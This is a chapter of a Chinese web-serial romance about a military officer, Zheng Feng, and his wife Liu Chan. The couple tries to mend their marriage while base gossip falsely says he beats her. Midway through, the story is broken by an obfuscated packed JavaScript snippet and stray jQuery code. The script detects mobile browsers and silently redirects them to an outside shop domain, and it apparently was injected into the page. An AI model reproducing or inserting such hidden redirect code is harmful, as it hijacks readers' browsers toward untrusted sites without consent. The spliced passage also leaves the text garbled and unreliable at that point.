早上郑封带饭回来吃,两人在桌上相对无言,气氛一时很沉闷。
柳婵低着头,感到对面有视线传来,她抬起头,和人眼神对上,她用力挤出个笑。
笑得真难看,眉头皱着,分明是在苦笑。
看着可怜极了。
难道是她感受到什么了?
郑封有些心虚,他这几天好像确实对人总是爱答不理的,是不是太过分了?
柳婵沉默吃着饭,无声叹口气,文言文太难背了,还要一个字一个字地了解意思,数学也难学,公式和题目她要好久才能看懂一点点。
好想放弃啊,饭都吃不香了,也不想说话了。
忽然,她碗里多了一个鸡蛋。
“你吃。”
柳婵奇怪地看着他。
两人每天早上至少吃一个鸡蛋,是她特意提出来的。
郑封打饭这几日,便每天都会带回来两个。
她今天的一个鸡蛋,刚才已经吃完了。
面对女人无声的询问,郑封脸上发热,他不自在地说:“你学习用脑辛苦,你多吃点。”
?!有点不对劲,他怎么突然关心她了?不是一直都对她爱答不理的吗。
柳婵得寸进尺,试探着说:“那你帮我剥壳,里面的蛋黄我不吃了。”
男人照做。
柳婵看着碗里的蛋白陷入了沉思。
莫不是……真的又喜欢上她了。
蛋白没蘸任何调料,但柳婵嚼着嚼着,好像觉出一点甜丝丝的味道。
功夫不负有心人,她的辛勤浇灌,终于让荒芜的土地上,又长出小草了。
柳婵便再一步得寸进尺,她在男人出门前抱着他好一会儿不撒手。
皮肤饥渴症,这是柳婵之前了解到的一个词。
她觉得自己就有这样的症状。
每天她都想抱着他,然后,他也紧紧地回抱着她就最好了。
她需要很多很多,关于人的温度。
郑封没动,任她抱着。
她不明白,为什么每次她都要紧紧地抱着他,像是离不开他一样。
“我该走了,要晚了。”
“嗯,你走。”
女人说着话,却并不放手,又在他怀里蹭蹭,才松手。
郑封心情复杂,也说不上来是什么感受。
就像一只小猫,也不管他现在在干什么,心情是怎样,就冲过来朝他“喵喵”叫着,要他去跟它玩。
什么鬼想法!
郑封被自己想的吓了一跳,他大步走向部队。
到了地方,却又忍不住一声叹。
离老远就有人看着他窃窃私语,不用想也知道在说什么,无非还是他要离婚,“动手打女人”的事。
没有当着他面说,他也不能怎么着人家。
没有发生过的事情,一帮子人却能说的有鼻子有眼,好像亲眼见过一样。
真是可笑。
刘鹏飞过来拍下他肩膀,“郑哥,别难过了,我信你。”
一副“即便你做了,但因为我是你兄弟,所以我站你”的义气模样。
郑封要被气笑了,他没有动手打人!!!
解释是无力的,苍白的,干脆也不解释了,翻个白眼,绕过人走开。
刘鹏飞从后面去撵他。
两人打打闹闹的,郑封心情好了一些。
不过上午空闲时间,他又被政委叫去,给思想教育了一番。
午休他都没睡好。
傍晚下值后,郑封心情很不好,这几天被人用各样的眼光打量着,低声议论着,为着一个莫须有的事情,偏偏还有口难辩。
大步离开部队,往外走着,门口站岗的士兵朝他敬礼后,跟他说:“郑连长,外面有人等你。”
郑封一愣,“谁?”
值班的士兵跟他认识,也不回他,朝他挤眉弄眼,眼里满满都是看好戏的兴奋。
郑封觉得奇怪,他想不到是谁,一脸莫名地出了大门,转个脸就看到女人穿着一身浅蓝色的碎花裙,站在值班室的阴影下面,看着大门,不知道在想什么。
待他进入视线中,便马上眼也笑了,嘴也笑了。
朝他走来几步。
郑封有些脸热。
他注意到,女人剪了头发,她的头发现在齐耳长,显得整个人更利落了。
女人大步走来,郑封就那样面无表情地看着她走来。
她倒是开心,也不知道是谁让他背上了那样的名声。
不对,她来找他干嘛?
女人越来越近,郑封眼神开始变得警觉起来,无事献殷勤……
“你来干什么?”
女人看着他,眼睛眨巴眨巴,轻哼了一下,仍旧带着笑,“我来接你回家呀。”
嗓子甜的发腻,郑封起了一身鸡皮疙瘩,“有话好好说……你干嘛……”
毫无防备之下,女人直接扑到他怀里抱着他。
光天化日,朗朗乾坤……
身后是值守的士兵,和其他下值的同志。
郑封差点吓得没蹦起来。
“快放手!”郑封说着,用手使劲要掰开她。
随着他刚要动作,女人先一步松开,接着退到一旁,挽着他的胳膊。
“你……”
“我劝你不要再动了。”
这次女人没有松手,紧紧地挽着他的胳膊,往下抓着他的手,小声的话语里隐隐带着警告。
郑封不知道为什么,还真就被这句话唬住,没有再动,他僵直着腿往前迈着。
没走几步,女人又停下来,松开手,翻着布包。
郑封跟着停下来,他现在不知道该干嘛,该说什么。
直到女人手帕轻轻擦在他脸上,他下意识一躲。
“你干嘛?”
她到底要干什么?
“你脸上出汗了,我帮你擦擦。”说着话,她拉着他衣摆往旁边躲,“周政委好。”
郑封这才看见身后来人。
“政委好。”不知道为什么,心虚的厉害。
“好,好。”周政委连声应着,眼神在两个年轻人之间打转。
女同志大大方方,笑的灿烂;男同志倒是眼光躲闪,脸红的跟猴屁股似的,扭扭捏捏的,哪有个男人样子!
人家都来接他了,还有什么不满意的,哼他一声,转过头看着柳婵,又是满脸笑容,“小柳,你这是来接小郑回去呀。”
“是的政委,今天我下班早,顺道过来等他一块回去。”
周政委看了一眼她的额头,上面确实有个小小的红印,已经不明显了,他提一句,“郑封这小子有时候脾气不好,你不要跟他一般见识,有什么事你来找我。”
郑封听见这话,不乐意了,他想说些什么。
什么“不要跟他一般见识”?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913439|213227||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他做什么了?
他什么都没做好吧。
是他不跟她一般见识才对吧。
可政委不听他讲话,临走时警告地看他一眼算怎么回事?
郑封一肚子气发不出去,他看向引起一切来源的女人,又不敢对她说重话。
她这个时候要是再哭出来了,他可真是跳进黄河也洗不清了。
偏偏女人似乎还毫无察觉,见他看她,朝他笑着。
又笑,还笑,她到底笑什么!
郑封要抓狂了,哎,说也说不得,讲也讲不听。
郑封郁闷地往前大步走着。
刚走两步,见女人没跟上来,又停住脚步。
一转身,女人就停在原地看着他。
郑封忍不住了,不耐烦地低声催她一句,“走啊。”
不时有人经过,眼睛在两人身上看来看去。
郑封更烦躁了。
女人没动,看着他也不笑了。
她手里还拿着那张白帕子,就静静地站在那里,经过的同志每个人都要看她好几眼,她也一脸不在乎的样子。
隔着几步距离,直直地盯着他,眼里情绪看不分明。
脸上被她擦过的地方又沁出了汗,想起早上她可怜巴巴地挤出的那个笑,刚说过要对她好些的。
毕竟,也没多长时间了,何必给两人找不痛快。
罢了。
一瞬间,郑封脑海中转过无数念头,轻叹一声,抬起脚步,往她身边走去。
“我来拿吧。”接过她手中的布包。
离得近了,才瞧清她眼里雾蒙蒙的,好像有眼泪要流出来似的,他就不敢看了。
他方才……也没怎么着她……
嗳,怎么现在这么娇气了,语气连一点不好都不行。
想想,又往后伸手,拉过她的手,“回家吧。”
女人这才动了脚步。
郑封心往下放了放。
恰逢此时霞光满天,柳婵的满心欢喜,在男人不配合的情况下,本已经所剩无几。
然他强忍着羞,主动去牵她的手,在前面带路。
金光渡在他肩膀上,显得整个人更为壮阔,耳垂红的要往下滴血一样。
她的心就又活了过来。
长头发洗头太麻烦,她现在一点也不想把时间用在这上面,就趁着中午的时间去了岛上的理发店。
她跟理发店的嫂子一点也不熟,那嫂子看着她却马上就能说出她是谁,还跟她打听,“你家男人真打你了?”
“听说还要跟你离婚?”
……
嫂子没有坏心,就只是好奇,但这样的话怎么听怎么不好听,她问:“嫂子,你是听谁说的?”
“嗐,岛上总共就这么大,还用听谁说,大家都知道了,都这样说!”
“就你头上这个包,是被打出来的吧?”
嫂子一脸同情地看着她,教她以后再被打该怎么办,“你就往外面跑,大声嚷嚷,让人都出来看,就不信,他还能一点脸都不要了!”
柳婵哭笑不得,感谢了嫂子的好心后,又认真跟她解释,郑封没打过她。
她瞧着嫂子面上说好,其实心里并没有相信她的话。
她就觉得要糟。
大家都这样说,跟她不认识的嫂子都同情她了,那“打她”的郑封,在外面会不会……
被很多人指点呢?